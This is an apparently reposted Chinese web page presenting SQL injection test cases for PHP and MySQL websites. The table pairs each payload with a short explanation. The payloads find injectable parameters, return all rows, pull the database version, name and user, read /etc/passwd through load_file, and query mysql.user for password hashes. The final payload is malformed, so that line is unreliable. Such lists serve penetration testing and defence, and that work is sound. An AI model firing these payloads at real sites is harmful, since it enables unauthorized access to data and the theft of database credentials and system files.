您的位置：首页 > 运维架构 > 网站架构

PHP+MySQL 网站 SQL 注入攻击测试用例

2013-12-02 14:05 531 查看

SQL注入攻击测试用例	说明
Night Night’ and 1=1# Night’ and 1=2#	判断注入点。第一次是正常请求，如果存在注入漏洞，那么第二次请求得到结果应该与第一次一样，并且第三次请求得到的结果应该与前两次不同
Night’ or 1=1#	返回所有数据，常用于有搜索功能的页面
Night’ union select version()#	返回数据库版本信息
Night’ union select database()#	返回当前的库名
Night’ union select user()#	返回数据库的用户名信息
Night’ union select session_user()#
Night’ union select system_user()#
Night’ union select load_file(‘/etc/passwd’)#	读取系统文件
Night’ select user ,password from mysql.user#	返回数据库用户的密码信息，密码一般以MD5的方式存放

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航